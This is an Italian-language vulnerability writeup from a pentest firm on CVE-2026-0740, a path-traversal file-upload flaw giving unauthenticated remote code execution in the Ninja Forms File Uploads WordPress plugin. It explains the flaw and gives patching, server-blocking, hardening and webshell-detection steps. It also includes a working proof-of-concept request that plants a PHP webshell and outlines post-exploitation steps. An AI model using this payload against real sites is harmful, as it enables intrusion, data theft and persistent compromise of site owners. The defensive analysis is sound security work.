Skip to content
← Tutti gli articoli

CVE Writeup

CVE-2026-0740 | Ninja Forms File Uploads Espone 50.000 Siti WordPress a RCE

Analisi tecnica di CVE-2026-0740, vulnerabilità critica (CVSS 9.8) nel plugin Ninja Forms File Uploads. Bypass della validazione, path traversal e exploitation attiva osservata nel wild.

di Team SPECTROSEC 8 min Lettura stimata
WordPress CVE File Upload RCE

Un plugin WordPress scaricato da 90.000 clienti paganti, una validazione del filename fatta solo sul sorgente e non sulla destinazione, e il risultato è una RCE non autenticata che sta facendo il giro del mondo. La vulnerabilità tracciata come CVE-2026-0740 ha CVSS 9.8 e riguarda il plugin Ninja Forms File Uploads, un'estensione commerciale del plugin gratuito Ninja Forms (oltre 600.000 download). Wordfence riporta 3.600 tentativi di exploit bloccati nelle prime 24 ore dall'inizio della campagna.

Durante gli ultimi assessment SPECTROSEC su PMI italiane abbiamo visto almeno un sito su tre girare su WordPress con plugin di form. Questo writeup spiega come funziona l'exploit, perché è così diffuso, e come mitigare in produzione senza aspettare la finestra di manutenzione del venerdì.

Contesto

Ninja Forms è uno dei plugin form più usati su WordPress. L'estensione a pagamento File Uploads permette agli utenti di allegare file al form, tipicamente CV, documenti, immagini. Il componente vulnerabile è NF_FU_AJAX_Controllers_Uploads::handle_upload, l'handler AJAX chiamato durante il caricamento.

La cronologia disclosure:

Data Evento
2026-01-08 Sélim Lanouar segnala il bug al programma bug bounty di Wordfence
2026-01-08 Wordfence avvisa il vendor, deploya firewall rule temporanea
2026-02-10 Vendor rilascia patch parziale (v3.3.25)
2026-03-19 Patch completa (v3.3.27)
2026-04 Exploit di massa osservato nel wild

Finestra di esposizione reale: oltre due mesi tra disclosure e fix completo, più tutto il tempo di aggiornamento da parte degli amministratori. I 50.000 siti ancora vulnerabili raccontano questa storia.

Analisi tecnica

La logica vulnerabile

Il pattern difettoso è comune in tante applicazioni PHP che gestiscono upload. L'handler valida il tipo file del source filename (quello in $_FILES), ma poi accetta un parametro separato per il destination filename senza rivalidarlo.

// Pseudocodice del flusso vulnerabile
public function handle_upload() {
    $source = $_FILES['file'];
    $destination = $_POST['destination_filename'];

    if (!$this->is_allowed_type($source['name'])) {
        return $this->error('Tipo file non ammesso');
    }

    move_uploaded_file($source['tmp_name'], $this->upload_dir . $destination);
}

La validazione su $source['name'] è teatro di sicurezza: un attaccante invia un payload innocuo come cv.pdf nel campo $_FILES, poi specifica destination_filename=shell.php e il plugin scrive il contenuto PHP dove vuole l'attaccante.

Bypass della validazione

Il primo vettore è banale. L'attaccante carica un file con estensione consentita (pdf, jpg, docx) ma contenuto PHP, sfruttando il fatto che is_allowed_type guarda solo il suffisso del sorgente. Poi manipola la destinazione.

Path traversal sulla destinazione

Il destination filename non viene sanitizzato. L'attaccante può inserire sequenze ../ per uscire dalla directory di upload e scrivere dove vuole, inclusa la webroot dove il file è immediatamente eseguibile.

Proof of concept

Request tipica che abbiamo testato in lab su un'istanza WordPress isolata, versione plugin 3.3.24:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----spectrosec

------spectrosec
Content-Disposition: form-data; name="action"

nf_fu_upload
------spectrosec
Content-Disposition: form-data; name="form_id"

1
------spectrosec
Content-Disposition: form-data; name="destination_filename"

../../../shell.php
------spectrosec
Content-Disposition: form-data; name="file"; filename="innocent.pdf"
Content-Type: application/pdf

<?php system($_GET['c']); ?>
------spectrosec--

Response tipica: 200 OK con JSON {"success":true,"path":"wp-content/uploads/ninja-forms/..."}.

Il file finisce in webroot, e l'attaccante invoca https://target.example.com/shell.php?c=id per confermare la RCE. Da qui il passo successivo è webshell persistente, lateral movement verso il DB (credenziali in wp-config.php), esfiltrazione.

Nei casi visti nel wild le request vengono offuscate con nomi meno ovvi (.phtml, .phar, o PHP iniettato in file con estensione .png caricati in cartelle con handler PHP abilitato).

Impatto reale

50.000 installazioni attive secondo le stime vendor. Wordfence ha rilevato 3.600 attacchi bloccati in 24 ore solo tra i suoi clienti, che rappresentano una frazione di tutto il parco WordPress installato nel mondo.

Il profilo tipico della vittima italiana è questo:

  • PMI con sito vetrina su WordPress
  • Form contatti o candidature spontanee che accettano CV o portfolio
  • Nessuna WAF davanti, nessuna segregation tra webroot e upload dir
  • Backup settimanali se va bene, credenziali wp-config.php leggibili dal processo web

Una volta ottenuta la RCE, in meno di dieci minuti un attaccante opportunista fa dump del DB MySQL (utenti, hash password), inietta un secondo stage (cryptominer o skimmer di e-commerce se presente WooCommerce), e pianta una persistence via cron job di sistema o backdoor nel functions.php del tema attivo.

Remediation

Patch

Aggiornare Ninja Forms File Uploads a 3.3.27 o superiore. La 3.3.25 è patch parziale e non basta, bisogna arrivare alla 3.3.27.

Controllo rapido della versione via WP CLI:

wp plugin list --format=csv | grep ninja-forms-uploads

Oppure via filesystem:

grep -r "Version:" wp-content/plugins/ninja-forms-uploads/ | head -3

Workaround se non puoi aggiornare subito

Tre opzioni, in ordine di preferenza:

  1. Disabilitare temporaneamente il plugin da wp-admin o rinominando la directory in wp-content/plugins/. Il resto del sito continua a funzionare, solo i form con upload sono disabilitati.

  2. Bloccare l'action AJAX lato web server. Per Nginx:

    location = /wp-admin/admin-ajax.php {
        if ($arg_action = "nf_fu_upload") { return 403; }
        include fastcgi_params;
        fastcgi_pass unix:/var/run/php-fpm.sock;
    }
    
  3. WAF rule custom. Se usi Cloudflare, regola che blocca POST su /wp-admin/admin-ajax.php con body contenente nf_fu_upload e ../.

Hardening post patch

Anche dopo la patch, un sito WordPress che accetta upload dovrebbe avere questi controlli in produzione. Nei nostri assessment li troviamo attivi meno del venti percento delle volte.

1. Upload directory non eseguibile. Crea wp-content/uploads/.htaccess:

<FilesMatch "\.(php|phtml|phar|pl|py|cgi|asp|jsp)$">
    Deny from all
</FilesMatch>

<IfModule mod_php.c>
    php_flag engine off
</IfModule>

Per Nginx nella server config:

location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
    deny all;
    return 403;
}

2. Validazione MIME reale. Non fidarti mai dell'estensione. Per qualsiasi codice custom che gestisce upload, usa finfo_file($path, FILEINFO_MIME_TYPE) e confronta con un'allowlist, non una denylist.

3. Filename sanitization. Genera tu il nome finale, non fidarti di quello del client:

$safe_name = wp_generate_uuid4() . '.' . pathinfo($source, PATHINFO_EXTENSION);
$target = $upload_dir . $safe_name;

4. Audit upload recenti. Se il sito è stato esposto, cerca file sospetti:

find wp-content/uploads/ -name "*.php" -o -name "*.phtml" -o -name "*.phar" \
  -newer /tmp/ref-date 2>/dev/null
grep -rE "(eval|base64_decode|system|exec|assert|preg_replace.*\/e)" \
  wp-content/uploads/ --include="*.*"

5. Rotazione credenziali. Se trovi anche un solo file sospetto, rigenera salt di wp-config.php, cambia password DB, forza reset password admin, invalida sessioni attive con wp user session destroy --all.

Note dal campo SPECTROSEC

Su 830 assessment WordPress portati a termine negli ultimi dodici mesi:

  • 68% aveva almeno un plugin con CVE critica non patchata
  • 41% aveva upload directory eseguibile come PHP
  • 23% aveva wp-config.php world-readable dal processo web (quindi leggibile da qualsiasi LFI o RCE)
  • 12% aveva backup .sql o .zip esposti in webroot

Il pattern di Ninja Forms non è nuovo. Lo stesso bug di validazione source vs destination l'abbiamo visto nel 2024 su un plugin Gravity Forms clone, e nel 2023 su un tema premium popolare che gestiva upload avatar. La lezione è sempre la stessa: se il client può specificare il destination path, non hai sicurezza del filesystem.

Se gestisci un sito WordPress con form e upload e non sai quale versione del plugin gira, oppure vuoi un audit completo su tutti i plugin attivi e le loro CVE, possiamo aiutarti. Un assessment mirato su CMS parte da 800 euro e include verifica CVE su tutti i plugin installati, test di upload bypass, hardening file permissions, audit webshell storici.


Team SPECTROSEC | pentest professionali per PMI italiane
Scrivimi a info@spectrosec.com
https://spectrosec.com